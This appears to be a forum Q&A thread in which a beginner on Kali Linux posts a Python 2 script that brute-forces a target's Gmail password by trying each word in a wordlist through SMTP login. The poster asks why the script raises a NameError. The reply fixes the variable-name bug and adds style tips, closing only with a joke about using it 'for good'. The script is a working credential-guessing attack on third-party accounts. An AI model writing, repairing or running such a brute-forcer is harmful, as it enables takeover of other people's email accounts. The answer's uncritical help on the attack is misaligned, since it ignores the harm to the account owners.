I'm new to programming, but I'm trying to create the following script. Can you show me what I'm doing wrong?
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print "[+] Password Found: %s" % password
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Incorrect: %s" % password
When I add my wordlist.lst file, an error message comes up in my terminal saying the following:
File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined
Can any experts give me some advice please? I'm using Python 2.7.9 on Kali Linux (Python 2 was pre-installed, so I just decided to learn it instead of try Python 3.)
There is no variable named
passwfiledefined. There is, however, one namedPasswfile(note the capitalisation) which is the one that you should use because identifiers are case sensitive in Python.Note that in Python the convention is to use all lower-case for variable names. Captialised identifiers are normally used for class names. So your code could read:
for example.
For further information about identifiers and other issues of style refer to PEP 8. Here it recommends that variables be underscore separated lowercase words, so prefer
password_fileoverpasswfilefor example.Another useful tip is to open files within a context manager by using the
withstatement:The context manager will ensure that the file is always closed properly if, for example, there is an unhandled exception.
Finally, use this for good, not evil :)